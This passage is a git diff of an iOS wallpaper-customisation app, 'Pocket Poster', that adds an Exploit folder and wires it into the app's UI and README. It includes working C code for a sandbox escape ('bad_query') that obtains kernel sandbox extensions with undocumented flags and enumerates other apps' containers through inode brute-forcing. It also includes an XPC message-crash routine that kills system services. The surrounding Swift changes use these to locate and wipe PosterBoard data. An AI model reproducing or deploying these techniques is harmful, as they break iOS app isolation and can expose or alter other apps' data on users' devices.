dlclose(mgr); + return -5; // Same thing + } + } + + // To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27 + if (is_group) { + query_set_flags(query, 0x0000000800000000ULL); + } else { + query_set_flags(query, 0x0000008000000000ULL); + } + + // Send our query over + void *result = query_get_single_result(query); + if (!result) { + free(part); + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -3; // Outside of sandbox + } + char *token = copy_sandbox_token(result); + if (!token) { + free(part); + xpc_release(identifier); + query_free(query); + dlclose(mgr); + return -4; // Kernel refused to issue a sandbox extension + } + + // Consume our fresh sandbox extension and clean up + handle = consume_extension(token); + free(token); + free(part); + xpc_release(identifier); + query_free(query); + + dlclose(mgr); + return handle; +} + +void bad_query_release(int64_t handle) { + if (handle < 0) return; + sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release"); + if (release_extension) release_extension(handle); +} + +// This still works on 27.0b5 +// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time) +// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer +char *bad_query_list(char *path, int64_t max_inode) { + struct statfs sfs; + // Prefer the target path; fall back to known on-volume roots if sandboxed + if (statfs(path, &sfs) != 0) { + if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) { + return NULL; + } + } + fsid_t fsid = sfs.f_fsid; + + size_t cap = 65536; + size_t length = 0; + size_t path_length = strlen(path); + + char *out = malloc(cap); + if (!out) return NULL; + out[0] = '\0'; + + char buf[1200]; + for (uint64_t ino = 1; ino <= max_inode; ino++) { + ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino); + if (n <= 0) continue; + + const char *p = buf; + if (strncmp(p, "/private/var/", 13) == 0) p += 8; + if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue; + if (strchr(p + path_length + 1, '/')) continue; + + size_t need = strlen(p) + 2; + if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; } + length += snprintf(out + length, cap - length, "%s\n", p); + } + return out; +} diff --git a/Pocket Poster/Exploit/bad_query.h b/Pocket Poster/Exploit/bad_query.h new file mode 100644 index 0000000..4b79ce6 --- /dev/null +++ b/Pocket Poster/Exploit/bad_query.h @@ -0,0 +1,18 @@ +// +// bad_query.h +// bad_query +// +// Created by Taj C on 7/21/26. +// + +#ifndef bad_query_h +#define bad_query_h + +#include +#include + +int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group); +char *bad_query_list(char *path, int64_t max_inode); +void bad_query_release(int64_t handle); + +#endif /* bad_query_h */ diff --git a/Pocket Poster/Exploit/xpc_crash.c b/Pocket Poster/Exploit/xpc_crash.c new file mode 100644 index 0000000..13db141 --- /dev/null +++ b/Pocket Poster/Exploit/xpc_crash.c @@ -0,0 +1,110 @@ +// +// xpc_crash.c +// Pocket Poster +// +// Ported from Cowabunga / TrollTools helpers.m +// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html) +// + +#include "xpc_crash.h" +#include +#include +#include + +// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers +extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp); +extern mach_port_t bootstrap_port; + +struct xpc_w00t { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_port_descriptor_t client_port; + mach_msg_port_descriptor_t reply_port; +}; + +static mach_port_t get_send_once(mach_port_t recv) { + mach_port_t so = MACH_PORT_NULL; + mach_msg_type_name_t type = 0; + kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); + if (err != KERN_SUCCESS) { + return MACH_PORT_NULL; + } + return so; +} + +void xpc_crasher(char *service_name) { + mach_port_t client_port = MACH_PORT_NULL; + mach_port_t reply_port = MACH_PORT_NULL; + mach_port_t service_port = MACH_PORT_NULL; + + kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); + if (err != KERN_SUCCESS) { + printf("xpc_crasher: unable to look up %s\n", service_name); + return; + } + if (service_port == MACH_PORT_NULL) { + printf("xpc_crasher: bad service port for %s\n", service_name); + return; + } + + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); + if (err != KERN_SUCCESS) { + return; + } + + mach_port_t so0 = get_send_once(client_port); + mach_port_t so1 = get_send_once(client_port); + + err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); + if (err != KERN_SUCCESS) { + return; + } + + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + if (err != KERN_SUCCESS) { + return; + } + + struct xpc_w00t msg; + memset(&msg.hdr, 0, sizeof(msg)); + msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); + msg.hdr.msgh_size = sizeof(msg); + msg.hdr.msgh_remote_port = service_port; + msg.hdr.msgh_id = 'w00t'; + + msg.body.msgh_descriptor_count = 2; + + msg.client_port.name = client_port; + msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; + msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; + + msg.reply_port.name = reply_port; + msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; + msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; + + err = mach_msg(&msg.hdr, + MACH_SEND_MSG | MACH_MSG_OPTION_NONE, + msg.hdr.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + if (err != KERN_SUCCESS) { + printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err)); + } else { + printf("xpc_crasher: sent w00t to %s\n", service_name); + } + + if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0); + if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1); +} + +void restartBackboard(void) { + xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer"); +} + +void restartFrontboard(void) { + // May not kill the calling app on some versions — caller should exit(0) after. + xpc_crasher("com.apple.frontboard.systemappservices"); +} diff --git a/Pocket Poster/Exploit/xpc_crash.h b/Pocket Poster/Exploit/xpc_crash.h new file mode 100644 index 0000000..74efece --- /dev/null +++ b/Pocket Poster/Exploit/xpc_crash.h @@ -0,0 +1,22 @@ +// +// xpc_crash.h +// Pocket Poster +// +// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t). +// + +#ifndef xpc_crash_h +#define xpc_crash_h + +#include + +/// Crash an XPC service by name (triggers relaunch of the hosting process). +void xpc_crasher(char *service_name); + +/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer +void restartBackboard(void); + +/// Respring via crashing com.apple.frontboard.systemappservices +void restartFrontboard(void); + +#endif /* xpc_crash_h */ diff --git a/Pocket Poster/Extensions/Views/Alert++.swift b/Pocket Poster/Extensions/Views/Alert++.swift index adb3f31..8c1cc77 100644 --- a/Pocket Poster/Extensions/Views/Alert++.swift +++ b/Pocket Poster/Extensions/Views/Alert++.swift @@ -18,42 +18,70 @@ fileprivate let cancelString = NSLocalizedString("Cancel", comment: "") extension UIApplication { - func dismissAlert(animated: Bool) { + func dismissAlert(animated: Bool, completion: (() -> Void)? = nil) { DispatchQueue.main.async { lastDismissTitle = currentUIAlertController?.title - currentUIAlertController?.dismiss(animated: animated) + if let alert = currentUIAlertController { + // Always clear pointer first so a follow-up present() won't chain on a dying VC + currentUIAlertController = nil + alert.dismiss(animated: animated) { + completion?() + } + } else { + // Also dismiss any orphaned presented alert + if let top = Self.topViewController(), top is UIAlertController { + top.dismiss(animated: animated) { + completion?() + } + } else { + completion?() + } + } } } + func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) { - DispatchQueue.main.async { - var body = body - - if title == errorString { - // append debug info - let device = UIDevice.current - let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? "" - let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? "" - let systemVersion = device.systemVersion - body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)" + // Dismiss any existing alert first so we never stack a buttonless spinner under a new sheet + dismissAlert(animated: false) { + DispatchQueue.main.async { + var body = body + + if title == errorString { + // append debug info + let device = UIDevice.current + let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? "" + let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? "" + let systemVersion = device.systemVersion + body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)" + } + + let controller = UIAlertController(title: title, message: body, preferredStyle: .alert) + // Always allow dismiss for non-progress alerts; progress uses withButton: false intentionally + if withButton { + controller.addAction(.init(title: okString, style: .cancel)) + } + currentUIAlertController = controller + self.present(alert: controller) } - - currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert) - if withButton { currentUIAlertController?.addAction(.init(title: okString, style: .cancel)) } - self.present(alert: currentUIAlertController!) } } + func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) { - DispatchQueue.main.async { - currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert) - if !noCancel { - currentUIAlertController?.addAction(.init(title: cancelString, style: .cancel)) + dismissAlert(animated: false) { + DispatchQueue.main.async { + let controller = UIAlertController(title: title, message: body, preferredStyle: .alert) + if !noCancel { + controller.addAction(.init(title: cancelString, style: .cancel)) + } + controller.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in + onOK() + })) + currentUIAlertController = controller + self.present(alert: controller) } - currentUIAlertController?.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in - onOK() - })) - self.present(alert: currentUIAlertController!) } } + func change(title: String = errorString, body: String) { DispatchQueue.main.async { currentUIAlertController?.title = title @@ -61,14 +89,30 @@ extension UIApplication { } } - func present(alert: UIAlertController) { - if let window = UIApplication.shared.connectedScenes.map({ $0 as? UIWindowScene }).compactMap({ $0 }).first?.windows.first, var topController = window.rootViewController { - while let presentedViewController = topController.presentedViewController, presentedViewController.title != lastDismissTitle { - topController = presentedViewController - } - - topController.present(alert, animated: true) - // topController should now be your topmost view controller + /// Top-most VC in the key window (skips being-dismissed alerts when possible). + static func topViewController() -> UIViewController? { + let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene } + let window = scenes + .flatMap { $0.windows } + .first { $0.isKeyWindow } ?? scenes.first?.windows.first + guard var top = window?.rootViewController else { return nil } + while let presented = top.presentedViewController { + // Prefer not to stop on a controller that is mid-dismiss + if presented.isBeingDismissed { break } + top = presented } + return top + } + + func present(alert: UIAlertController) { + guard let topController = Self.topViewController() else { return } + // If top is already an alert being shown, replace it + if let existing = topController as? UIAlertController { + existing.dismiss(animated: false) { + Self.topViewController()?.present(alert, animated: true) + } + return + } + topController.present(alert, animated: true) } } diff --git a/Pocket Poster/Localizable.xcstrings b/Pocket Poster/Localizable.xcstrings index 33bce34..10edfef 100644 --- a/Pocket Poster/Localizable.xcstrings +++ b/Pocket Poster/Localizable.xcstrings @@ -841,6 +841,9 @@ } } } + }, + "bad_query available — on-device detect works (no PC)." : { + }, "Cancel" : { "localizations" : { @@ -2599,6 +2602,12 @@ } } } + }, + "Detect On-Device" : { + + }, + "Detect via Nugget" : { + }, "Disable Video Duration Limit" : { "localizations" : { @@ -4090,6 +4099,7 @@ } }, "Exploit" : { + "extractionState" : "stale", "localizations" : { "ar" : { "stringUnit" : { @@ -4242,6 +4252,9 @@ } } } + }, + "Exploit (.Trash)" : { + }, "Explore" : { "localizations" : { @@ -7306,6 +7319,9 @@ } } } + }, + "No hash set — will auto-detect via bad_query on Apply." : { + }, "Nugget GitHub" : { "localizations" : { diff --git a/Pocket Poster/Views/ContentView.swift b/Pocket Poster/Views/ContentView.swift index 3383456..e81b827 100644 --- a/Pocket Poster/Views/ContentView.swift +++ b/Pocket Poster/Views/ContentView.swift @@ -58,10 +58,15 @@ struct ContentView: View { } Section { - if pbHash == "" { + if pbHash == "" && !SymHandler.prefersBadQuery { Text("Enter your PosterBoard app hash in Settings.") } else { VStack { + if pbHash == "" && SymHandler.prefersBadQuery { + Text("No hash set — will auto-detect via bad_query on Apply.") + .font(.caption) + .foregroundStyle(.secondary) + } if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty { Button(action: { UIImpactFeedbackGenerator(style: .soft).impactOccurred() @@ -69,21 +74,23 @@ struct ContentView: View { DispatchQueue.global(qos: .userInitiated).async { do { - try pbManager.applyTendies(appHash: pbHash) + var hash = pbHash + if hash.isEmpty { + UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…") + hash = try BadQuery.findPosterBoardHash() + DispatchQueue.main.async { pbHash = hash } + } + try pbManager.applyTendies(appHash: hash) SymHandler.cleanup() // just to be extra sure try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL()) - UIApplication.shared.dismissAlert(animated: false) - DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: { + + DispatchQueue.main.async { pbManager.selectedTendies.removeAll() + pbManager.videos.removeAll() Haptic.shared.notify(.success) - UIApplication.shared.confirmAlert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("The PosterBoard app will now open. Please close it from the app switcher.", comment: ""), onOK: { - if !pbManager.openPosterBoard() { - UIApplication.shared.confirmAlert(title: NSLocalizedString("Falling Back to Shortcut", comment: ""), body: NSLocalizedString("PosterBoard failed to open directly. The fallback shortcut will now be opened.", comment: ""), onOK: { - pbManager.runShortcut(named: "PosterBoard") - }, noCancel: true) - } - }, noCancel: true) - }) + // Instant Mond-style respring (no alert delay) + RespringHelper.respring() + } } catch CocoaError.fileWriteUnknown { presentError(ApplyError.wrongAppHash) } catch CocoaError.fileWriteFileExists { @@ -99,21 +106,41 @@ struct ContentView: View { .buttonStyle(TintedButton(color: .blue, fullwidth: true)) } Button(action: { - if #available(iOS 18.0, *) { - guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else { - hideResetHelp = false // fallback to tutorial - return - } - UIApplication.shared.confirmAlert(title: NSLocalizedString("Reset Collections", comment: ""), body: NSLocalizedString("Do you want to reset collections?", comment: ""), onOK: { - if pbManager.setSystemLanguage(to: lang) { - UIApplication.shared.alert(title: NSLocalizedString("Collections Successfully Reset!", comment: ""), body: NSLocalizedString("Your PosterBoard will refresh automatically.", comment: "")) - } else { - UIApplication.shared.alert(body: "The API failed to call correctly.\nSystem Locale Code: \(lang)") + UIApplication.shared.confirmAlert( + title: NSLocalizedString("Reset Collections", comment: ""), + body: SymHandler.prefersBadQuery + ? "This will wipe custom PosterBoard descriptors via bad_query, then respring." + : NSLocalizedString("Do you want to reset collections?", comment: ""), + onOK: { + UIApplication.shared.alert( + title: "Resetting…", + body: "Please wait", + animated: true, + withButton: false + ) + DispatchQueue.global(qos: .userInitiated).async { + do { + var hash = pbHash + if hash.isEmpty && SymHandler.prefersBadQuery { + hash = try BadQuery.findPosterBoardHash() + DispatchQueue.main.async { pbHash = hash } + } + guard !hash.isEmpty else { + throw ApplyError.wrongAppHash + } + try pbManager.resetCollections(appHash: hash) + DispatchQueue.main.async { + Haptic.shared.notify(.success) + // Instant Mond-style respring + RespringHelper.respring() + } + } catch { + presentError(ApplyError.unexpected(info: error.localizedDescription)) + } } - }, noCancel: false) - } else { - hideResetHelp = false - } + }, + noCancel: false + ) }) { Label("Reset Collections", systemImage: "arrow.clockwise.circle") } @@ -171,11 +198,11 @@ struct ContentView: View { func presentError(_ error: ApplyError) { SymHandler.cleanup() - UIApplication.shared.dismissAlert(animated: false) - DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: { + DispatchQueue.main.async { Haptic.shared.notify(.error) - UIApplication.shared.alert(body: error.localizedDescription) - }) + // alert() dismisses any buttonless progress sheet first, always with OK + UIApplication.shared.alert(body: error.localizedDescription, withButton: true) + } } init() { diff --git a/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift b/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift index 21e9e94..e7b7e68 100644 --- a/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift +++ b/Pocket Poster/Views/OnBoarding/OnBoardingPage.swift @@ -5,7 +5,7 @@ // Created by lemin on 5/31/25. // -import SwiftUICore +import SwiftUI struct OnBoardingPage: Identifiable { var id = UUID() diff --git a/Pocket Poster/Views/SettingsView.swift b/Pocket Poster/Views/SettingsView.swift index f10275d..49ee962 100644 --- a/Pocket Poster/Views/SettingsView.swift +++ b/Pocket Poster/Views/SettingsView.swift @@ -15,11 +15,12 @@ struct SettingsView: View { @State var checkingForHash: Bool = false @State var hashCheckTask: Task? = nil + @State var detectingOnDevice: Bool = false var body: some View { List { Section { - VStack { + VStack(alignment: .leading, spacing: 10) { TextField("Enter PosterBoard App Hash", text: $pbHash) .textFieldStyle(RoundedBorderTextFieldStyle()) .font(.system(.body, design: .monospaced)) @@ -28,8 +29,30 @@ struct SettingsView: View { .textFieldStyle(RoundedBorderTextFieldStyle()) .font(.system(.body, design: .monospaced)) } + + if SymHandler.prefersBadQuery { + Text("bad_query available — on-device detect works (no PC).") + .font(.caption) + .foregroundStyle(.secondary) + } + HStack { Spacer() + // On-device detect via bad_query (iOS 26/27) + if SymHandler.prefersBadQuery { + Button(action: { + detectOnDevice() + }) { + if detectingOnDevice { + ProgressView() + } else { + Text("Detect On-Device") + } + } + .foregroundStyle(.blue) + .disabled(detectingOnDevice) + } + // Run task to check until file exists from Nugget pc over AFC Button(action: { if !FileManager.default.fileExists(atPath: SymHandler.getPosterBoardHashURL().path()) { @@ -40,7 +63,7 @@ struct SettingsView: View { } startWaitForHash() }) { - Text("Detect") + Text(SymHandler.prefersBadQuery ? "Detect via Nugget" : "Detect") } .foregroundStyle(.green) .onChange(of: checkingForHash) { _ in @@ -138,10 +161,12 @@ struct SettingsView: View { // MARK: Credits Section { + LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "bad_query port · iOS 27 build", circle: true) LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true) LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true) - LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit", comment: ""), circle: true) - LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit", comment: ""), circle: true) + LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true) + LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true) + LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/bad_query", title: "forcequitOS", contribution: "bad_query (iOS 26/27)", circle: false) LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true) LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor") } header: { @@ -150,6 +175,59 @@ struct SettingsView: View { } } + /// Scan containers on-device with bad_query / fsgetpath — no computer needed. + func detectOnDevice() { + detectingOnDevice = true + UIApplication.shared.alert( + title: "Scanning containers…", + body: "Looking for PosterBoard via bad_query. This may take a moment.", + animated: true, + withButton: false + ) + + DispatchQueue.global(qos: .userInitiated).async { + var pb: String? + var cp: String? + var errMsg: String? + + do { + pb = try BadQuery.findPosterBoardHash() + } catch { + errMsg = error.localizedDescription + } + + if CarPlayManager.supportsCarPlay() { + cp = try? BadQuery.findCarPlayHash() + } + + // Always show a closeable result alert (loading alert has no OK button — + // dismiss must complete before the next alert is presented). + DispatchQueue.main.async { + detectingOnDevice = false + + if let pb { + pbHash = pb.trimmingCharacters(in: .whitespacesAndNewlines) + if let cp { + cpHash = cp.trimmingCharacters(in: .whitespacesAndNewlines) + } + Haptic.shared.notify(.success) + let body = cp != nil + ? "PosterBoard:\n\(pbHash)\n\nCarPlay:\n\(cpHash)" + : "PosterBoard:\n\(pbHash)" + // alert() auto-dismisses any previous (buttonless) sheet first + UIApplication.shared.alert(title: "Hash found!", body: body, withButton: true) + } else { + Haptic.shared.notify(.error) + UIApplication.shared.alert( + title: "Detect failed", + body: errMsg ?? "Could not find PosterBoard container. Open Wallpaper settings once, then retry.", + withButton: true + ) + } + } + } + } + func startWaitForHash() { checkingForHash = true hashCheckTask = Task { diff --git a/Pocket-Poster-Info.plist b/Pocket-Poster-Info.plist index 8073dc1..4ca2a52 100644 --- a/Pocket-Poster-Info.plist +++ b/Pocket-Poster-Info.plist @@ -11,7 +11,7 @@ Owner LSItemContentTypes - com.leemin.tendies + com.mak5er.tendies @@ -21,7 +21,7 @@ CFBundleTypeRole Editor CFBundleURLName - com.leemin.pocketposter + com.mak5er.pocketposter CFBundleURLSchemes pocketposter @@ -43,7 +43,7 @@ UTTypeIconFiles UTTypeIdentifier - com.leemin.tendies + com.mak5er.tendies UTTypeTagSpecification public.filename-extension @@ -66,7 +66,7 @@ UTTypeIconFiles UTTypeIdentifier - com.leemin.tendies + com.mak5er.tendies UTTypeTagSpecification public.filename-extension diff --git a/README.md b/README.md index fc0df5c..fa42ce2 100644 --- a/README.md +++ b/README.md @@ -4,18 +4,25 @@

Pocket Poster

-

Custom PosterBoard Wallpapers for iOS 17+

+

Custom PosterBoard Wallpapers for iOS 17+ · bad_query for iOS 26–27.0b4

+

Maintained / iOS 27 port by Mak5er

-     - - -
## Getting Started -Since there is no way to read files currently, you will need a computer to get the App Hash/UUID. + +### iOS 26 / 27.0b4 (bad_query) +On versions where [bad_query][badQueryGitHub] works, **no computer is required**: +1. Install the IPA (sideload with TrollStore / SideStore / etc.). +2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects). +3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard). + +**Reset Collections** wipes PosterBoard descriptors via bad_query, then full resprings the same way. + +### Older iOS (legacy .Trash exploit) +You will need a computer to get the App Hash/UUID. Download [Nugget][NuggetGitHub] on your computer and plug in your phone.
Then, navigate to the `Settings` page and click the `Pocket Poster Helper` button. @@ -25,14 +32,19 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun
Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help. ## Credits -- Translations crowdsourced using [POEditor][POEditorJoin]. Thank you everyone who assisted in the translation effort! +- **[Mak5er][Mak5erGitHub]** — bad_query integration, iOS 27 port, full respring, on-device detect +- [LeminLimez][LeminGitHub] — original Pocket Poster +- Translations crowdsourced using [POEditor][POEditorJoin] - [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard - [dootskyre][dootskyreX] for the fallback shortcut -- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the exploit +- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit +- [forcequitOS][badQueryGitHub] for bad_query (iOS 26/27 sandbox escape) - [SerStars][SerStarsX] for creating the website [CowabungaWallpapersPage]: https://cowabun.ga/wallpapers [NuggetGitHub]: https://github.com/leminlimez/Nugget +[LeminGitHub]: https://github.com/leminlimez +[Mak5erGitHub]: https://github.com/Mak5er [CowabungaDiscord]: https://discord.gg/cowabunga [PosterRestoreDiscord]: https://discord.gg/gWtzTVhMvh @@ -41,3 +53,4 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun [NathanGitHub]: https://github.com/verygenericname [DuyKhanhTranGitHub]: https://github.com/khanhduytran0 [SerStarsX]: https://x.com/SerStars +[badQueryGitHub]: https://github.com/forcequitOS/bad_query